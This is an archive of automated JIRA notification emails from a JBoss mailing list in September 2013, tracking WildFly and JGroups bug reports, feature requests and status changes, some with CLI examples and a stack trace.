From jira-events at lists.jboss.org  Mon Sep 23 02:52:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 23 Sep 2013 02:52:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1713) Using the add-handler
 operation on an async-handler doesn't write the handler property to the
 logging.properties file
In-Reply-To: <JIRA.12496739.1374097920000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496739.1374097920000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496739.1374097920000.38599.1379919123435@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1713?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806322#comment-12806322 ] 

RH Bugzilla Integration commented on WFLY-1713:
-----------------------------------------------

Petr Kremensky <pkremens at redhat.com> changed the Status of [bug 997638|https://bugzilla.redhat.com/show_bug.cgi?id=997638] from ON_QA to VERIFIED
                
> Using the add-handler operation on an async-handler doesn't write the handler property to the logging.properties file
> ---------------------------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-1713
>                 URL: https://issues.jboss.org/browse/WFLY-1713
>             Project: WildFly
>          Issue Type: Bug
>          Components: Logging
>            Reporter: James Perkins
>            Assignee: James Perkins
>
> Executing an {{add-handler}} operation does not write the {{handler.$NAME.handlers}} property to the logging.properties file.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 02:52:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 23 Sep 2013 02:52:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1713) Using the add-handler
 operation on an async-handler doesn't write the handler property to the
 logging.properties file
In-Reply-To: <JIRA.12496739.1374097920000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496739.1374097920000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496739.1374097920000.38602.1379919123581@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1713?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806323#comment-12806323 ] 

RH Bugzilla Integration commented on WFLY-1713:
-----------------------------------------------

Petr Kremensky <pkremens at redhat.com> made a comment on [bug 997638|https://bugzilla.redhat.com/show_bug.cgi?id=997638]

Verified on 6.2.0.ER1
                
> Using the add-handler operation on an async-handler doesn't write the handler property to the logging.properties file
> ---------------------------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-1713
>                 URL: https://issues.jboss.org/browse/WFLY-1713
>             Project: WildFly
>          Issue Type: Bug
>          Components: Logging
>            Reporter: James Perkins
>            Assignee: James Perkins
>
> Executing an {{add-handler}} operation does not write the {{handler.$NAME.handlers}} property to the logging.properties file.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 02:54:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 23 Sep 2013 02:54:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2071) Messaging queue attributes
 must be read-only
In-Reply-To: <JIRA.12500697.1379086256000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500697.1379086256000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500697.1379086256000.38605.1379919243579@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2071?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806324#comment-12806324 ] 

RH Bugzilla Integration commented on WFLY-2071:
-----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 1004789|https://bugzilla.redhat.com/show_bug.cgi?id=1004789] from NEW to MODIFIED
                
> Messaging queue attributes must be read-only
> --------------------------------------------
>
>                 Key: WFLY-2071
>                 URL: https://issues.jboss.org/browse/WFLY-2071
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: JMS
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Jeff Mesnil
>            Assignee: Jeff Mesnil
>             Fix For: 8.0.0.Beta1
>
>
> Currently, the messaging subsystem's queue and jms-queue resources defines attributes that are writable (eg filter and durable attribute).
> This is not correct, once a queue is created with these attributes, they can not be changed for the lifetime of a queue (a durable queue can not become non-durable).

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 04:01:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Mon, 23 Sep 2013 04:01:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1703) CheckFDMonitor.eval may be
	reversed
In-Reply-To: <JIRA.12501158.1379865036000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501158.1379865036000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501158.1379865036000.38686.1379923263929@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1703?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban updated JGRP-1703:
---------------------------

    Fix Version/s: 3.4
         Priority: Minor  (was: Major)

    
> CheckFDMonitor.eval may be reversed
> -----------------------------------
>
>                 Key: JGRP-1703
>                 URL: https://issues.jboss.org/browse/JGRP-1703
>             Project: JGroups
>          Issue Type: Bug
>         Environment: 3.4.0.Alpha2
>            Reporter: shen kim
>            Assignee: Bela Ban
>            Priority: Minor
>             Fix For: 3.4
>
>
> When eval return true, the trigger method will be invoke.
> But the implemention in CheckFDMonitor:
> public boolean eval() {
> return sv.getView() != null && sv.getView().size() > 1 && !fd.isMonitorRunning();
> }
> It may be reversed.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 04:26:03 2013
From: jira-events at lists.jboss.org (Eduardo Martins (JIRA))
Date: Mon, 23 Sep 2013 04:26:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2126) Servlet Invocation
 WildflySecurityManager Setup
In-Reply-To: <JIRA.12501172.1379924659455@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501172.1379924659455@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501172.1379924659455.38706.1379924763796@jira02.app.mwc.hst.phx2.redhat.com>

Eduardo Martins created WFLY-2126:
-------------------------------------

             Summary: Servlet Invocation WildflySecurityManager Setup 
                 Key: WFLY-2126
                 URL: https://issues.jboss.org/browse/WFLY-2126
             Project: WildFly
          Issue Type: Bug
          Components: Web (Undertow)
            Reporter: Eduardo Martins
            Assignee: Eduardo Martins


WildflySecurityManager needs proper setup on the servlet invocation stack, otherwise WildflySecurityManager.isChecking() returns always false, and such check is used by Wildfly modules/extensions to learn wether there is an active security manager or not. The servlet invocation also needs to be done on a privileged action, otherwise security permissions fail to check.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 04:46:03 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Mon, 23 Sep 2013 04:46:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2127) Resurrect regular expression
 based group name identification for LDAP
In-Reply-To: <JIRA.12501174.1379925943385@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501174.1379925943385@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501174.1379925943385.38737.1379925963461@jira02.app.mwc.hst.phx2.redhat.com>

Darran Lofthouse created WFLY-2127:
--------------------------------------

             Summary: Resurrect regular expression based group name identification for LDAP
                 Key: WFLY-2127
                 URL: https://issues.jboss.org/browse/WFLY-2127
             Project: WildFly
          Issue Type: Feature Request
          Components: Domain Management, Security
            Reporter: Darran Lofthouse
            Assignee: Darran Lofthouse
             Fix For: 8.0.0.Beta1


The changes contributed under WFLY-455 contained a feature to extract the group name from the distinguished name based on a regular expression search - this should be resurrected as a third mode for group name identification.


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 05:02:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 23 Sep 2013 05:02:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2049) Logging in as user with
 scoped role right after log out will mess up Authentication
In-Reply-To: <JIRA.12500493.1378899069000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500493.1378899069000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500493.1378899069000.38760.1379926924010@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2049?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806340#comment-12806340 ] 

RH Bugzilla Integration commented on WFLY-2049:
-----------------------------------------------

Jakub Cechacek <jcechace at redhat.com> made a comment on [bug 1010662|https://bugzilla.redhat.com/show_bug.cgi?id=1010662]

6.2.0.ER2 is affected and the issue is regression against ER1.
                
> Logging  in as user with scoped role right after log out will mess up Authentication 
> -------------------------------------------------------------------------------------
>
>                 Key: WFLY-2049
>                 URL: https://issues.jboss.org/browse/WFLY-2049
>             Project: WildFly
>          Issue Type: Bug
>            Reporter: Jakub Cechacek
>            Assignee: Darran Lofthouse
>            Priority: Blocker
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.Beta1
>
>
> It seems as some cache is not invalidated after logging in as user with scoped role. Logging as such user will cause page refresh to randomly switch between last 2 logged in users.
> when I log in as  user with non-scoped role and then switch (log out -> log in) as user with scoped role, refreshing the page will randomly switch between those users.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 05:04:03 2013
From: jira-events at lists.jboss.org (Jeff Mesnil (JIRA))
Date: Mon, 23 Sep 2013 05:04:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2128) Support one-port connection
	for JMS
In-Reply-To: <JIRA.12501177.1379926949837@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501177.1379926949837@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501177.1379926949837.38762.1379927043512@jira02.app.mwc.hst.phx2.redhat.com>

Jeff Mesnil created WFLY-2128:
---------------------------------

             Summary: Support one-port connection for JMS
                 Key: WFLY-2128
                 URL: https://issues.jboss.org/browse/WFLY-2128
             Project: WildFly
          Issue Type: Feature Request
          Components: JMS
    Affects Versions: 8.0.0.Alpha4
            Reporter: Jeff Mesnil
            Assignee: Jeff Mesnil
             Fix For: 8.0.0.Beta1


WildFly 8 needs to support one-port where all the remote connections goes through HTTP with Upgrade header.
A JMS client will be able to connect to WildFly's HTTP port to access its JMS resources instead of connecting to the TCP socket on HornetQ remote port (5445).

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 05:21:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Mon, 23 Sep 2013 05:21:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2044) Rework Subject propagation to
 avoid marshaling.
In-Reply-To: <JIRA.12500441.1378828999000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500441.1378828999000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500441.1378828999000.38806.1379928063405@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2044?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-2044:
-----------------------------------

    Fix Version/s: 8.0.0.CR1
                       (was: 8.0.0.Beta1)

    
> Rework Subject propagation to avoid marshaling.
> -----------------------------------------------
>
>                 Key: WFLY-2044
>                 URL: https://issues.jboss.org/browse/WFLY-2044
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Security
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>             Fix For: 8.0.0.CR1
>
>
> Rework Subject propagation to avoid marshalling - i.e. describe the contents of the Subject within the protocol and allow it to be reconstructed on the far side.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 05:23:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Mon, 23 Sep 2013 05:23:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2119) RBAC-based tab completion for
 the CLI commands
In-Reply-To: <JIRA.12501124.1379690777000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501124.1379690777000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501124.1379690777000.38809.1379928183607@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2119?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-2119:
-----------------------------------

    Labels: RBAC-WF-only  (was: )

    
> RBAC-based tab completion for the CLI commands
> ----------------------------------------------
>
>                 Key: WFLY-2119
>                 URL: https://issues.jboss.org/browse/WFLY-2119
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: CLI
>            Reporter: Alexey Loubyansky
>            Assignee: Alexey Loubyansky
>              Labels: RBAC-WF-only
>             Fix For: 8.0.0.Beta1
>
>
> With the RBAC in place, the CLI tab-completion should take the advantage (where possible and reasonable) and suggest only the commands, arguments and argument values that are available and allowed to be executed by the current user.
> Since performing access control checks may be time consuming (especially in the domain mode) this feature should be optional and exposed through CLI configuration.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 05:23:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Mon, 23 Sep 2013 05:23:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1857) Remove
 ConstrainedResourceDefinition, add methods to ResourceDefinition
In-Reply-To: <JIRA.12498289.1375998642000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498289.1375998642000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498289.1375998642000.38815.1379928183957@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1857?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-1857:
-----------------------------------

    Labels: RBAC-WF-only  (was: )

    
> Remove ConstrainedResourceDefinition, add methods to ResourceDefinition
> -----------------------------------------------------------------------
>
>                 Key: WFLY-1857
>                 URL: https://issues.jboss.org/browse/WFLY-1857
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Brian Stansberry
>              Labels: RBAC-WF-only
>             Fix For: 8.0.0.CR1
>
>
> ConstrainedResourceDefinition is a mechanism to add methods to ResourceDefinition without breaking existing impls. This is not necessary in a major release like WF 8. It exists to make it easier to port RBAC to EAP 6.2, where such potential breakage (in a minor release) is not allowed.
> This JIRA is to get rid of this subinterface for WF 8 final.
> Deferring this to WF 9 is ok.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 05:23:04 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Mon, 23 Sep 2013 05:23:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1858) Add RBAC sensitivity
 classification constraints to undertow subsystem
In-Reply-To: <JIRA.12498290.1375999390000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498290.1375999390000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498290.1375999390000.38822.1379928184336@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1858?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-1858:
-----------------------------------

    Labels: RBAC-WF-only  (was: )

    
> Add RBAC sensitivity classification constraints to undertow subsystem
> ---------------------------------------------------------------------
>
>                 Key: WFLY-1858
>                 URL: https://issues.jboss.org/browse/WFLY-1858
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Web (Undertow)
>            Reporter: Brian Stansberry
>            Assignee: Tomaz Cerar
>              Labels: RBAC-WF-only
>             Fix For: 8.0.0.Beta1
>
>
> The current RBAC work updated the web subsystem but not undertow.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 05:23:04 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Mon, 23 Sep 2013 05:23:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2002) Ability to configure a custom
 RBAC implementation
In-Reply-To: <JIRA.12500003.1378348034000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500003.1378348034000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500003.1378348034000.38824.1379928184424@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2002?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-2002:
-----------------------------------

    Labels: RBAC-WF-only  (was: )

    
> Ability to configure a custom RBAC implementation
> -------------------------------------------------
>
>                 Key: WFLY-2002
>                 URL: https://issues.jboss.org/browse/WFLY-2002
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Brian Stansberry
>            Assignee: Brian Stansberry
>            Priority: Optional
>              Labels: RBAC-WF-only
>             Fix For: 8.0.0.CR1
>
>
> Allow configuration of a module name and set of key/value properties to allow users to plug in a custom implementation of the CustomAuthorizer interface. The impl would be loadable via the ServiceLoader mechanism.
> The hooks to integrate such a custom impl into the server are already done, so this is should be just a matter of adding the config capability. 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 05:36:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 23 Sep 2013 05:36:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2106) IBM JDK, Error Shutting Down,
 SecurityException: unable to instantiate Subject-based policy
In-Reply-To: <JIRA.12500949.1379521705000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500949.1379521705000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500949.1379521705000.38854.1379928963391@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2106?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806357#comment-12806357 ] 

RH Bugzilla Integration commented on WFLY-2106:
-----------------------------------------------

Darran Lofthouse <darran.lofthouse at redhat.com> changed the Status of [bug 1006876|https://bugzilla.redhat.com/show_bug.cgi?id=1006876] from ASSIGNED to POST
                
> IBM JDK, Error Shutting Down, SecurityException: unable to instantiate Subject-based policy
> -------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2106
>                 URL: https://issues.jboss.org/browse/WFLY-2106
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>            Priority: Blocker
>             Fix For: 8.0.0.Beta1
>
>
> full stacktrace:
> [0m[31m02:50:22,461 ERROR [org.jboss.as.controller.management-operation] (management-handler-thread - 1) JBAS014612: Operation ("read-attribute") failed - address: ([]): java.lang.SecurityException: unable to instantiate Subject-based policy
> 	at javax.security.auth.Policy.getPolicyNoCheck(Policy.java:268) [rt.jar:1.6.0]
> 	at javax.security.auth.Policy.getPolicy(Policy.java:219) [rt.jar:1.6.0]
> 	at javax.security.auth.SubjectDomainCombiner$5.run(SubjectDomainCombiner.java:513) [rt.jar:1.6.0]
> 	at java.security.AccessController.doPrivileged(AccessController.java:228) [vm.jar:]
> 	at javax.security.auth.SubjectDomainCombiner.compatPolicy(SubjectDomainCombiner.java:509) [rt.jar:1.6.0]
> 	at javax.security.auth.SubjectDomainCombiner.combine(SubjectDomainCombiner.java:223) [rt.jar:1.6.0]
> 	at java.security.AccessController.getContext(AccessController.java:167) [vm.jar:]
> 	at org.jboss.as.controller.SecurityActions$CreateCallerActions$1.getCaller(SecurityActions.java:151)

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Mon Sep 23 05:56:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 23 Sep 2013 05:56:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1177) Recursive expression
	resolution
In-Reply-To: <JIRA.12489985.1366397228000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12489985.1366397228000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12489985.1366397228000.38887.1379930164179@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1177?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806362#comment-12806362 ] 

RH Bugzilla Integration commented on WFLY-1177:
-----------------------------------------------

Martin Simka <msimka at redhat.com> made a comment on [bug 960820|https://bugzilla.redhat.com/show_bug.cgi?id=960820]

verified on EAP 6.2.0.ER1
                
> Recursive expression resolution
> -------------------------------
>
>                 Key: WFLY-1177
>                 URL: https://issues.jboss.org/browse/WFLY-1177
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management
>            Reporter: Brian Stansberry
>            Assignee: Jess Sightler
>              Labels: rhq
>             Fix For: 8.0.0.Alpha1
>
>
> When resolving an expression, keep resolving until the output of the resolution matches the input.
> Use case:
> ${sys.prop.with.host.specific.value}
> resolves to
> ${VAULT::xxxxx}
> which resolves to
> thesecret
> Basically, the main mechanism for customizing domain-level configs on a per-host basis is to use expressions and use different values on each host. But this breaks down when a vault expression is added to the mix.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 05:56:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 23 Sep 2013 05:56:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1177) Recursive expression
	resolution
In-Reply-To: <JIRA.12489985.1366397228000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12489985.1366397228000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12489985.1366397228000.38895.1379930164583@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1177?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806363#comment-12806363 ] 

RH Bugzilla Integration commented on WFLY-1177:
-----------------------------------------------

Martin Simka <msimka at redhat.com> changed the Status of [bug 960820|https://bugzilla.redhat.com/show_bug.cgi?id=960820] from ON_QA to VERIFIED
                
> Recursive expression resolution
> -------------------------------
>
>                 Key: WFLY-1177
>                 URL: https://issues.jboss.org/browse/WFLY-1177
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management
>            Reporter: Brian Stansberry
>            Assignee: Jess Sightler
>              Labels: rhq
>             Fix For: 8.0.0.Alpha1
>
>
> When resolving an expression, keep resolving until the output of the resolution matches the input.
> Use case:
> ${sys.prop.with.host.specific.value}
> resolves to
> ${VAULT::xxxxx}
> which resolves to
> thesecret
> Basically, the main mechanism for customizing domain-level configs on a per-host basis is to use expressions and use different values on each host. But this breaks down when a vault expression is added to the mix.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 06:10:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 23 Sep 2013 06:10:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-165) It is possible to create
 broadcast group using non-existent connectors
In-Reply-To: <JIRA.12489687.1366192044000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12489687.1366192044000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12489687.1366192044000.38900.1379931003718@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-165?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806364#comment-12806364 ] 

RH Bugzilla Integration commented on WFLY-165:
----------------------------------------------

Miroslav Novak <mnovak at redhat.com> made a comment on [bug 952566|https://bugzilla.redhat.com/show_bug.cgi?id=952566]

Verified in EAP 6.2.0.ER1. Thanks for the fix!
                
> It is possible to create broadcast group using non-existent connectors
> ----------------------------------------------------------------------
>
>                 Key: WFLY-165
>                 URL: https://issues.jboss.org/browse/WFLY-165
>             Project: WildFly
>          Issue Type: Bug
>          Components: JMS
>            Reporter: Jeff Mesnil
>            Assignee: Jeff Mesnil
>             Fix For: 8.0.0.Alpha1
>
>
> It is possible to create broadcast group using non-existent connectors. It seems that validation is missing for add operation. This affects both CLI and Amin console, thus I suppose that problem is in underlying Management API. 
> Example:
> 1. Creation of new group with non-existent connectors "ab" and "ba" will succeed 
> [standalone at localhost:9999 /] /subsystem=messaging/hornetq-server=default/broadcast-group=foo:add(socket-binding=default, connectors=[ab,ba]) 
> {
>     "outcome" => "success",
>     "response-headers" => {
>         "operation-requires-reload" => true,
>         "process-state" => "reload-required"
>     }
> }
> 2. However if we try to change the value of connectors attribute to the very same value it will fail
>  
> /subsystem=messaging/hornetq-server=default/broadcast-group=foo:write-attribute(name=connectors,value=[ab,bc])
> {
>     "outcome" => "failed",
>     "failure-description" => "JBAS011680: The broadcast group 'foo' defines reference to nonexistent connector 'ab'. Available connectors '[netty, in-vm, netty-throughput]'.",
>     "rolled-back" => true,
>     "response-headers" => {"process-state" => "reload-required"}
> }

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 06:10:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 23 Sep 2013 06:10:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-165) It is possible to create
 broadcast group using non-existent connectors
In-Reply-To: <JIRA.12489687.1366192044000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12489687.1366192044000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12489687.1366192044000.38903.1379931003938@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-165?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806365#comment-12806365 ] 

RH Bugzilla Integration commented on WFLY-165:
----------------------------------------------

Miroslav Novak <mnovak at redhat.com> changed the Status of [bug 952566|https://bugzilla.redhat.com/show_bug.cgi?id=952566] from ON_QA to VERIFIED
                
> It is possible to create broadcast group using non-existent connectors
> ----------------------------------------------------------------------
>
>                 Key: WFLY-165
>                 URL: https://issues.jboss.org/browse/WFLY-165
>             Project: WildFly
>          Issue Type: Bug
>          Components: JMS
>            Reporter: Jeff Mesnil
>            Assignee: Jeff Mesnil
>             Fix For: 8.0.0.Alpha1
>
>
> It is possible to create broadcast group using non-existent connectors. It seems that validation is missing for add operation. This affects both CLI and Amin console, thus I suppose that problem is in underlying Management API. 
> Example:
> 1. Creation of new group with non-existent connectors "ab" and "ba" will succeed 
> [standalone at localhost:9999 /] /subsystem=messaging/hornetq-server=default/broadcast-group=foo:add(socket-binding=default, connectors=[ab,ba]) 
> {
>     "outcome" => "success",
>     "response-headers" => {
>         "operation-requires-reload" => true,
>         "process-state" => "reload-required"
>     }
> }
> 2. However if we try to change the value of connectors attribute to the very same value it will fail
>  
> /subsystem=messaging/hornetq-server=default/broadcast-group=foo:write-attribute(name=connectors,value=[ab,bc])
> {
>     "outcome" => "failed",
>     "failure-description" => "JBAS011680: The broadcast group 'foo' defines reference to nonexistent connector 'ab'. Available connectors '[netty, in-vm, netty-throughput]'.",
>     "rolled-back" => true,
>     "response-headers" => {"process-state" => "reload-required"}
> }

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
